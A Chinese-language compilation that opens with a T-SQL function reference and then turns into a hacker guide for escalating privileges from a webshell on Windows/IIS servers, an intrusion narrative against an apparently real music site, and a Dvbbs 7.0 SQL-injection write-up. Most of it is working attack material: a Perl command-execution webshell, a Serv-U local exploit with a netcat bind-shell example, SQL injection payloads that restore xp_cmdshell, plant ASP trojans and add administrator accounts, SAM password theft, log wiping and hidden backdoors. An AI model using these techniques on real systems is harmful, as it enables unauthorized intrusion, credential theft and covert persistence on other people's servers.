  alter table database.owner.table_name add column_name char(2) null …..
  sp_help table_name —- 显示表已有特征
  create table table_name (name char(20), age smallint, lname varchar(30))
  insert into table_name select ……… —– 实现删除列的方法(创建新表)
  alter table table_name drop constraint Stockname_default —- 删除Stockname的default约束
    
***function(/*常用函数*/)***


—-统计函数—-
AVG    –求平均值
COUNT   –统计数目
MAX    –求最大值
MIN    –求最小值
SUM    –求和


–AVG
use pangu
select avg(e_wage) as dept_avgWage
from employee
group by dept_id


–MAX
–求工资最高的员工姓名
use pangu
select e_name
from employee
where e_wage =
 (select max(e_wage)
  from employee)


–STDEV()
–STDEV()函数返回表达式中所有数据的标准差


–STDEVP()
–STDEVP()函数返回总体标准差


–VAR()
–VAR()函数返回表达式中所有值的统计变异数


–VARP()
–VARP()函数返回总体变异数


—-算术函数—-


/***三角函数***/
SIN(float_expression) –返回以弧度表示的角的正弦
COS(float_expression) –返回以弧度表示的角的余弦
TAN(float_expression) –返回以弧度表示的角的正切
COT(float_expression) –返回以弧度表示的角的余切
/***反三角函数***/
ASIN(float_expression) –返回正弦是FLOAT 值的以弧度表示的角
ACOS(float_expression) –返回余弦是FLOAT 值的以弧度表示的角
ATAN(float_expression) –返回正切是FLOAT 值的以弧度表示的角
ATAN2(float_expression1,float_expression2) 
        –返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
DEGREES(numeric_expression)
                       –把弧度转换为角度返回与表达式相同的数据类型可为
        –INTEGER/MONEY/REAL/FLOAT 类型
RADIANS(numeric_expression) –把角度转换为弧度返回与表达式相同的数据类型可为
        –INTEGER/MONEY/REAL/FLOAT 类型
EXP(float_expression)  –返回表达式的指数值
LOG(float_expression)  –返回表达式的自然对数值
LOG10(float_expression)–返回表达式的以10 为底的对数值
SQRT(float_expression) –返回表达式的平方根
/***取近似值函数***/
CEILING(numeric_expression)  –返回>=表达式的最小整数返回的数据类型与表达式相同可为
        –INTEGER/MONEY/REAL/FLOAT 类型
FLOOR(numeric_expression)    –返回<=表达式的最小整数返回的数据类型与表达式相同可为
        –INTEGER/MONEY/REAL/FLOAT 类型
ROUND(numeric_expression)    –返回以integer_expression 为精度的四舍五入值返回的数据
        –类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
ABS(numeric_expression)      –返回表达式的绝对值返回的数据类型与表达式相同可为
        –INTEGER/MONEY/REAL/FLOAT 类型
SIGN(numeric_expression)     –测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
        –与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
PI()       –返回值为π 即3.1415926535897936
RAND([integer_expression])   –用任选的[integer_expression]做种子值得出0-1 间的随机浮点数



—-字符串函数—-
ASCII()         –函数返回字符表达式最左端字符的ASCII 码值
CHAR()   –函数用于将ASCII 码转换为字符
    –如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
LOWER()   –函数把字符串全部转换为小写
UPPER()   –函数把字符串全部转换为大写
STR()   –函数把数值型数据转换为字符型数据
LTRIM()   –函数把字符串头部的空格去掉
RTRIM()   –函数把字符串尾部的空格去掉
LEFT(),RIGHT(),SUBSTRING()  –函数返回部分字符串
CHARINDEX(),PATINDEX()  –函数返回字符串中某个指定的子串出现的开始位置
SOUNDEX()  –函数返回一个四位字符码 
    –SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值     
DIFFERENCE()    –函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
    –0 两个SOUNDEX 函数返回值的第一个字符不同
    –1 两个SOUNDEX 函数返回值的第一个字符相同
    –2 两个SOUNDEX 函数返回值的第一二个字符相同
    –3 两个SOUNDEX 函数返回值的第一二三个字符相同
    –4 两个SOUNDEX 函数返回值完全相同
                                       


QUOTENAME()  –函数返回被特定字符括起来的字符串
/*select quotename(‘abc’, ’{‘) quotename(‘abc’)
运行结果如下
———————————-{
{abc} [abc]*/


REPLICATE()     –函数返回一个重复character_expression 指定次数的字符串
/*select replicate(‘abc’, 3) replicate( ’abc’, -2)
运行结果如下
———– ———–
abcabcabc NULL*/


REVERSE()       –函数将指定的字符串的字符排列顺序颠倒
REPLACE()       –函数返回被替换了指定子串的字符串
/*select replace(‘abc123g’, ’123′, ’def’)
运行结果如下
———– ———–
abcdefg*/


SPACE()   –函数返回一个有指定长度的空白字符串
STUFF()   –函数用另一子串替换字符串指定位置长度的子串



—-数据类型转换函数—-
CAST() 函数语法如下
CAST() ( AS [ length ])
CONVERT() 函数语法如下
CONVERT() ([ length ], [, style])


select cast(100+99 as char) convert(varchar(12), getdate())
运行结果如下
—————————— ————
199   Jan 15 2000


—-日期函数—-
DAY()   –函数返回date_expression 中的日期值
MONTH()   –函数返回date_expression 中的月份值
YEAR()   –函数返回date_expression 中的年份值
DATEADD( , ,) 
    –函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
DATEDIFF( , ,)
    –函数返回两个指定日期在datepart 方面的不同之处
DATENAME( , )  –函数以字符串的形式返回日期的指定部分
DATEPART( , )  –函数以整数值的形式返回日期的指定部分
GETDATE()  –函数以DATETIME 的缺省格式返回系统当前的日期和时间


—-系统函数—-
APP_NAME()      –函数返回当前执行的应用程序的名称
COALESCE()  –函数返回众多表达式中第一个非NULL 表达式的值
COL_LENGTH(<’table_name’>, <’column_name’>) –函数返回表中指定字段的长度值
COL_NAME(, )   –函数返回表中指定字段的名称即列名
DATALENGTH() –函数返回数据表达式的数据的实际长度
DB_ID(['database_name']) –函数返回数据库的编号
DB_NAME(database_id)  –函数返回数据库的名称
HOST_ID()     –函数返回服务器端计算机的名称
HOST_NAME()     –函数返回服务器端计算机的名称
IDENTITY([, seed increment]) [AS column_name])
 –IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中
/*select identity(int, 1, 1) as column_name
 into newtable
 from oldtable*/
ISDATE()  –函数判断所给定的表达式是否为合理日期
ISNULL(, ) –函数将表达式中的NULL 值用指定值替换
ISNUMERIC()  –函数判断所给定的表达式是否为合理的数值
NEWID()   –函数返回一个UNIQUEIDENTIFIER 类型的数值
NULLIF(, )
 –NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值


以上是本人收藏的,作者我也不记得了。

  本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\
进这里下它的SAM,破解用户的密码
用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限


4.c:\winnt\system32\inetsrv\data\
就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, ”Content-type: text/html\r\n\r\n”, 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, ”<HTML><PRE>\r\n”, 13);
open(STDERR, ”>&STDOUT”) || die ”Can’t redirect STDERR”;
system($execthis);
syswrite(STDOUT, ”\r\n</PRE></HTML>\r\n”, 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 
显示”拒绝访问”,表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe 
返回: 
Serv-u >3.x Local Exploit by xiaolu 

USAGE: serv-u.exe ”command” 

Example: serv-u.exe ”nc.exe -l -p 99 -e cmd.exe” 
现在是 IUSR 权限,提交: 
http://anyhost//cmd.pl?c\perl\bin\su.exe ”cacls.exe c: /E /T /G everyone:F” 
http://anyhost//cmd.pl?c\perl\bin\su.exe ”cacls.exe d: /E /T /G everyone:F” 
http://anyhost//cmd.pl?c\perl\bin\su.exe ”cacls.exe e: /E /T /G everyone:F” 
http://anyhost//cmd.pl?c\perl\bin\su.exe ”cacls.exe f: /E /T /G everyone:F” 
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu 

<220 Serv-U FTP Server v5.2 for WinSock ready… 

>USER LocalAdministrator 

<331 User name okay, need password. 

****************************************************** 

>PASS #l@$ak#.lk;0@P 

<230 User logged in, proceed. 

****************************************************** 

>SITE MAINTENANCE 

****************************************************** 

[+] Creating New Domain… 

<200-DomainID=2 

<220 Domain settings saved 

****************************************************** 

[+] Domain xl:2 created 

[+] Creating Evil User 

<200-User=xl 

200 User settings saved 

****************************************************** 

[+] Now Exploiting… 

>USER xl 

<331 User name okay, need password. 

****************************************************** 

>PASS 111111 

<230 User logged in, proceed. 

****************************************************** 

[+] Now Executing: cacls.exe c: /E /T /G everyone:F 

<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员: 

http://anyhost//cmd.pl?c\perl\bin\su.exe ” net localgroup administrators IUSR_anyhost /add” 


6.可以成功运行”cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps”来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps ”C:\WINNT\system32\idq.dll” ”C:\WINNT\system32\inetsrv\httpext.dll” ”C:\WINNT\system32\inetsrv\httpodbc.dll” ”C:\WINNT\system32\inetsrv\ssinc.dll” ”C:\WINNT\system32\msw3prt.dll”"c:\winnt\system32\inetsrv\asp.dll”
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显
<%@codepage=936%><%Response.Expires=0 
on error resume next 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject(“WSCRIPT.NETWORK”) 
oz=”WinNT://”&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&”/Administrators,group”) 
Set od=ob.create(“user”,”WekweN$”) 
od.SetPassword ”WekweN” <—–密码
od.SetInfo 
Set of=GetObject(oz&”/WekweN$,user”) 
oe.Add(of.ADsPath) 
Response.write ”WekweN$ 超级帐号建立成功!”%>


用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next ’查找Administrators组帐号
Set tN=server.createObject(“Wscript.Network”)
Set objGroup=GetObject(“WinNT://”&tN.ComputerName&”/Administrators,group”)
For Each admin in objGroup.Members
Response.write admin.Name&”<br>”
Next
if err then
Response.write ”不行啊:Wscript.Network”
end if
%>

8.C:\Program Files\Java Web Start\
这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动”写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。


总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字”找” ”上”"执”

以上是本人的拙见,大家有什么好的方法多多分享 
WekweN 
04.12.12

2004年12月22日

wtf:这个文章小编今天来“客串”一下本版编辑,因为好友“臭要饭的!”给我此文的时候一再叮嘱内容的重要性和轰动性,所以这次委屈脚本小子了,呵呵。闲话少说,这绝对是一篇真实的安全测试文章,也是极具观赏性的。文中在某些问题上可能走了弯路,但是那是为了给大家讲解一个思路,所以关键的解决问题的思路才是最值得大家学习的。本文作者对脚本注入漏洞的深入了解,也有对入侵的新思维分析。如果你对脚本安全兴趣浓厚但难有机会真枪实战,能错过这篇文章吗?
如果说以往的脚本攻击都只停留在web层次的话,这次的文章是深入到了系统层了,因为SQL最迷人的地方在于它强大的功能,而其中很多不为人知的地方又是最迷人的!本文很多技术绝对是第一次出现!来吧!神秘的面纱将慢慢揭开!
划时代的脚本攻击
——利用纯脚本技术获得系统权限
文/图  臭要饭的
目前网上很流行SQL INJECTION 漏洞,也就是我们通常所说的SQL注入漏洞,我们利用这类漏洞可以跨表、跨库查询数据库信息,以及通过论坛来上传文件从而得到主机WebShell(这些都是一些很通常的手法,黑防原来也介绍得比较详细)。
前段时间我对一大型音乐收费网站进行安全测试,结果我利用纯脚本技术,拿到了系统管理员权限。所以,今天我就为大家介绍一下全部经过和我的具体思路分析。

一.踩点
踩点,是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描。我拿出了朋友写的一款非常不错的扫描程序,速度相当快,可以同时开2000个线程!(wtf:GOOD!)半支烟功夫,端口1-65535就扫完了。
扫描的开放端口如下:
21,80,1433,3389
再次扫描得到的结果相同,几乎能肯定是这些了。冲击波过后,网络上的服务器安全了许多,利用系统漏洞入侵也变得有难度了。先来分析了一下:我把目标集中在21和1433端口。现在只有看看运气,看是否能扫出个弱口令(wtf:呵呵,想得倒挺美!)——真是倒霉,我很久都没有扫到存在弱口今的机子了,今天也一样,什么都没扫出来。看来,我只有从网站脚本上寻找出路了。

二.对网站进行全方面的探索
开了1433端口,即SQLSERVER服务,一般网站都是ASP+MSSQL结构来架设的,并且ASP脚本的注入漏洞比其他脚本漏洞好找,漏洞存在的机率也相对要大得多。一般情况下,我在提交的参数后加上单引号提交,如果参数没有过滤,IE一般都会返回错误信息。
我很快找到了一个没有经过任何过滤的参数。
提交: http://www.something.com/script.asp?id=2 ‘
IE返回:

提交: http://www.something.com/script.asp?id=2 and 1=1
IE返回正常记录。
提交: http://www.something.com/script.asp?id=2 and 1=2
IE没有返回记录。
好了,这样就确定存在注入漏洞了,下面我们来利用这个漏洞拿到服务器和数据库的一些相关信息。譬如:想看服务器打的补丁情况,我们提交:
http://www.something.com/script.asp?id=2 and 1=(select @@VERSION)
出错了,呵呵,IE给我们返回错误信息如图1所示:

图1
看来服务器打了SP4补丁,“据说”打了SP4后,也有对80的溢出程序和对MSSQL SP3的溢出程序。不过这些属于“绝对机密”,估计除了wtf那小子有,很少人能搞到,反正我是没有的,那天敲诈他去!现在我们继续!
这台服务器从系统方面对于我们来讲,是比较安全的,所以我还是接着从脚本方面着手吧。再来看看他的数据库连接账号的权限,提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER(’sysadmin’))
返回正常,这证明当前连接的账号是服务器角色sysadmin权限。
wtf:IS_SRVROLEMEMBER(’role’ [,'login'])函数用于判断当前的用户登录是否是指定的服务器角色的成员。其中,role为被检查的服务器角色的名称。而login是可选的,如果未指定,那么使用当前用户的登陆账号。如果login是role的成员,则返回1,不是则返回0,如果role或login无效,则返回NULL。
我差点没把嘴里的一口茶喷到电脑屏幕上。当前连接账号的服务器角色居然是sysadmin权限!如图2所示:

图2
哈哈!看来连接账号多半是采用SA账号连接的了。
提交:
http://www.something.com/script.asp?id=2 and ’sa’=(SELECT System_user)
用来查看连接账号是不是用sa 连接的,IE再一次返回正常。这证明了连接账号真的是SA,看来权限是至高无上的了。
wtf:当使用应用程序角色时,执行 SELECT USER 将返回当前使用的应用程序角色的名称。如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER。
到这里,可能很多人就想到了利用xp_cmdshell扩展存储过程来加系统账号,然后再使用终端连接服务器。这是非常不错的想法!我也是很多人中的一员!我们来试试看行不行吧!

三.利用MSSQL存储过程,得到WebShell
下面,让我们看看xp_cmdshell是否被管理员删除了!提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name = ‘xp_cmdshell’)
IE 返回的信息如下:






看来,xp_cmdshell已经被删除了。呵呵,我们来给他恢复一下吧!
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,'xplog70.dll’
再试,看xp_cmdshell是不是恢复过来了?
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name = ‘xp_cmdshell’)
wtf:小编在后来的尝试中,发现xp_cmdshell恢复过来了?哈哈,不知道是哪位兄弟留下来的战果?
同样没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了,看来直接恢复是没有办法的了。对此,我只能说两个字“我忍”!
这么好个漏洞,不好好利用我是不甘心的,再说都到这地步了,正有劲呢。先拿他的WebShell再说,哼哼,拿到WebShell后,我自然有办法对付他了,哈哈哈…(星仔般的奸笑!)。
下面看如何拿到WebShell!
看过N.E.V.E.R和CZY的文章没有?拿WebShell的方法,两位都已经详细的介绍过了。我也把他们的方法写成了程序,方便我使用,不过很困难的是得不到Web绝对路径。那我们生成的木马保存在什么地方呢?
这可能是很多牛人一直在研究的问题。还好,我对MSSQL还是了解一点。我有办法得到他的Web绝对路径,跟我来吧。(wtf:这绝对是个非常非常大的闪光点!大家看清楚了!)
下面我们要利用到两个MSSQL存储过程。不过有必要先给大家介绍一下xp_regread 扩展存储过程和sp_makewebtask Web 助手存储过程:xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径。
sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件名你可以自己指定。当然我们这里就指定为ASP脚本文件啦!试想,如果表中记录保存的是脚本代码,导出来的文件也就是脚本文件了。所以,我们添加的记录就是脚本代码。
这里我就不用N.E.V.E.R的方法了。他的方法是导出库文件,导出的文件都比较大,并且很多乱码看起来不方便,如果记录中存在ASP的标记符并且有错误的ASP代码那就不好办了,打开多半返回500的错误码,所以我们采用CZY的方法,就是Web作业来得到Shell。

1.怎么拿到Web绝对路径?
呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,
‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,
‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’, @result output insert into 临时表 (临时字段名) values( @result );–
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。WebShell就得到了,工作就此告一段落。

2.怎么拿到WebShell?
CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中。再次删除建的临时表,一切OVER。如:
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp’,
@query = ‘SELECT 你的字段 FROM 你建的临时表’
呵呵,结果就出来了。当然我都写成了程序,所以就不用麻烦自己手工一行一行的加数据进去了(wtf:本期文章有详细介绍!大家一定不会失望!)。方法和思路都写了,现在我们就来行动吧。
还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活了!呵呵,提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
再提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ’sp_makewebtask’)
啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常!两个要用到的存储过程都没有删除。
wtf注:一般管理员也不会删除这两个,可能对它们的了解比较少,也就不会注意它们嘛!危机就在这里面!嘿嘿。
好,拿到Web绝对路径后。继续建表:
http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据:
http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’, @result output insert into cyfd (gyfd) values( @result );–
从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径:
http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd
where gyfd > 1)
出错后,IE返回错误,我们得到Web绝对路径“d:\Inetpub\wwwroot”!经过努力的成功特别香甜!喝口茶!如图3

图3
然后删除刚才建的表,提交:
http://www.something.com/script.asp?id=2;drop table cyfd;–
OK,有了路径下面就好办多了。打开我写的获取WebShell的程序,输入漏洞URL: http://www.yfd.com/yfd.com?id=2
输入保存木马的绝对路径:d:\Inetpub\wwwroot。
木马我早就配置好了,代码精简了又精简,只有30行代码,这样才少向服务器提交数据。加快速度嘛!木马的主要功能,就是输入内容,把输入的内容保存为一个文件。呵呵,通过这样的木马,我们就可以实现上传一些功能强大的脚本木马了,如海洋木马。
一分钟不到。程序都已经运行完毕。输入相应的路径,娃哈哈(wtf:要饭的兄弟挺喜欢这个“饮品”?哈哈!),WebShell来了,最快的速度生成了一个海洋木马,如图4,图5:

图4

图5
我生活在幸福之中!——wtf常常说这句话,今天看来我也被感染了!下面我们还得来!

四.恢复xp_cmdshell,向系统权限进军!
下面的工作就是很简单,很轻松了。10分钟不到,就给你一个管理员账号,都说了xp_cmdshell已经被删除了。并且无法恢复,这多半是管理员把xplog70.dll文件给删除,要不改名了。没事,我们上传一个xplog70.dll就搞定一切了,通过WebShell。我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘e:\inetpub\wwwroot\xplog70.dll’
恢复,支持绝对路径的恢复哦。:)如图6

图6
OK。我们用IE来查看一下是不是已经恢复了。提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name = ‘xp_cmdshell’)
嘿嘿。返回正常。已经恢复了,下面的还用我说吗?呵呵!加账号:
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell ‘net user chouyfd chouyfd1314yf /add’
提升自己为超级管理员
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell ‘net localgroup administrators chouyfd /add’
完毕。打开你的终端连接程序,连接吧!哈哈,终于给我连上了。到此我就成功的拿到了这台主机的系统管理员账号。如图7:

图7
下面的工作就是清除日志和留下超级后门,闪人!

五.事后处理工作
终端连接上后,以最快的速度,清除IIS日志,和MSSQL日志。
同时,把xp_cmdshell也给他删除掉,不要让他发现了,也就不好办了。再把我上传的那个xplog70.dll移动到system32目录下,改个我都不知道什么意思的名字叫:msxlog32.dll(打死他也查不出来,哈哈!)再将猪蛋儿提供的超级内核后门程序安装起,再把存在漏洞的脚本文件给打上补丁。同时在他的那个脚本程序中,我修改了代码,提交特定的参数(POST提示方式),显示我的Web后门程序! 这样两个后门,很保险!怕什么呢?刚过年,真开心啊!

后记:文章可能有很多地方大家不太明白,篇幅有限,如有必要,直接和我交流吧!: dy-e@163.net ,这次完全通过脚本技术拿到系统管理员账号。这也是我很久以来对MSSQL深入学习的结果。本文章主要在于展现入侵的思路,入侵方法是多种多样的,希望本文思路对大家有所帮助

2004年12月19日

动网论坛7.0自从发布以来进一步扩大了其在asp论坛领域的声誉和好评,无论是在美工、性能、安全性和效率上都比上一个版本有了很大的进步。在读代码的时候给我的唯一感觉就是——美。但是世上没有不透风的墙啊,代码写得再严谨也是会有疏忽的时候。为了找出它的漏洞,我就像是大海捞针一样在茫茫的代码中寻觅,蓦然回首那人却在灯火阑珊处。请跟着我来看一看吧。
第一篇 发现新大陆
CODE  

打开AccessTopic.asp文件,翻到第200-212行,内容为:
……
Sub freetopic()
……
For i=1 to request.form(“Announceid”).count
ID=replace(request.form(“Announceid”)(i),”‘”,”")
‘删除
If request(“actiontype”)=2 Then
Set Rs=Dvbbs.Execute(“select rootid from “&Dvbbs.NowUsebbs&” where parentid=0 And Announceid=”

&id)
If not (rs.eof And rs.bof) Then
Dvbbs.Execute(“delete from dv_topic where topicid=”&rs(0))
Dvbbs.Execute(“delete from “& Dvbbs.NowUsebbs &” where rootid=”&rs(0))
FoundID=rs(0)
Else
Dvbbs.Execute(“delete from “&Dvbbs.NowUsebbs&” where Announceid=”&id)
FoundID=0
End If
……




很明显对request.form(“Announceid”)的值只进行了单引号的过滤,幸好在SQL语句里面不是作为字符串使用,要不然就没有玩的了。要想突破这个单引号的限制非常简单,只要把我们需要用到的字符串用SQL Encoder进行转换一下就可以直接使用了。其基本原理就是在MSSQL中自动的将varbinary类型的数据转换为varchar类型数据,然而这一点在asp中一般是无法分辨出来的。在接下来的操作中涉及到字符串的部分为了便于理解,我保留了原文。在实际操作中请用SQL Encoder进行转换一下,除非特殊情况不作说明。

第二篇 动网论坛的小鞋
这个文件在动网论坛中是各项用于待审核帖子的操作,发现漏洞的过程为删除待审核帖子(request(“actiontype”)=2)。但是这项功能只有在开放某一个版面的帖子审核功能的时候才可能用到,而且只有斑竹才能使用,其标志变量为在数据中的
Dv_Board.BoardSetting列第4个数。
由于此功能默认是关闭的,大部分论坛也不会用到,所以将其评为低危险程度的漏洞。在利用的时候我们可以想像得到Access数据库的功能低下,就仿佛是一个弱智一样,也就没有什么利用价值了,因此我只讨论使用MSSQL数据库的情况。你可能会想,既然如此不就可以利用报错得到管理员的密码德md5密文了吗,这可就错了。在论坛中每一个SQL语句的执行都是通过Dvbbs.Execute这个过程来实现的,相关代码可以在inc\Dv_ClsMain.asp中找到,在这个过程中过滤了dv_admin关键字,起初的时候我还想过用特殊的方法去构造语句,但是全部失败,如果你有什么办法成功了可别忘记告诉我啊。
由于Announceid是用request.form取得,再利用的时候就要构造本地提交表单,其内

容为:

CODE  

<form action=”http://目标服务器地址及相对路径/accesstopic.asp?action=freetopic” method=

post name=batch>
<input type=hidden value=”修改为打开审核功能版面的boardid值” name=boardid>
<input name=”actiontype” value=”2″ type=hidden>
<textarea name=”Announceid” cols=”100″ rows=”20″ id=”Announceid”></textarea>
<input name=submit value=”执行” type=submit>
</form>




只要在满足上述条件的情况下,将表单中的值设置好之后就可以往下看了。

第三篇 让我们知道自己的权力
在取得绝对路径之前先要判断当前数据库用户的权限,这里就遇到了一个问题,无论我们提交的语句是否成立,只要不产生错误,返回的信息都是相同的。你可能已经想到了,就是要将Announceid的值设置为一个已经存在的待审核帖子,在提交成功之后,如果这个帖子已经被删除就说明我们的条件是正确的,否则就是错误的。在这里为了方便,假设每次执行都使用已经存在的boardid=1帖子。由于在数据库的所有权限中只有sysadmin才有利用价值,所以只需判断他就可以了。打开我们刚才构造的那个表单,并在另外一个页面中用该版版主账号登陆,下面的操作都是在这种条件下完成的,因此不再提及。因此在textarea中填入:
1 and 1=(select is_srvrolemember(’sysadmin’))
提交后根据上面提到的判断条件就可知道结果了。同样也可以利用这种方法来

判断是否存在xp_cmdshell存储扩展,提交语句为
1 and 1=( select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’)
如果没有该权限的话就只能利用报错看一看前台管理员的密码了,需要提交的语句为:
1 and 1=(select top 1 UserPassword from Dv_User where UserGroupID=1)
如果你想让自己在论坛里面的权限得到提升的话就去破解这个md5密文吧——据说非常困难。然而在具有sysadmin权限的情况下就相当于得到了服务器的绝对控制权——在操作系统中以system权限执行。接着往下看我是怎么利用该权限的吧。

第四篇 寻找罗马大路
在第2004.3期上臭要饭的提到用xp_regread存储扩展读取注册表的方法来获得web绝对路径,但是经过我的测试后发现这种方法只能得到web服务器安装时的默认路径,如果管理员够聪明的话肯定会进行修改这个值的,那就会导致上传asp木马的失败。我想你可能以体会到过这种情况吧。现在换个思路考虑,既然不能得到这个路径,那就在服务器上用我们制定的路径建一个虚拟目录问题不就迎刃而解了吗?经过我的测试提交下面的语句可以实现这个操作:
1;exec(‘master.dbo.xp_cmdshell ”cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w “1″ -v “

win”,”c:\winnt\””’)
exec(‘master.dbo.xp_cmdshell ”cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/

AccessExecute True”’)
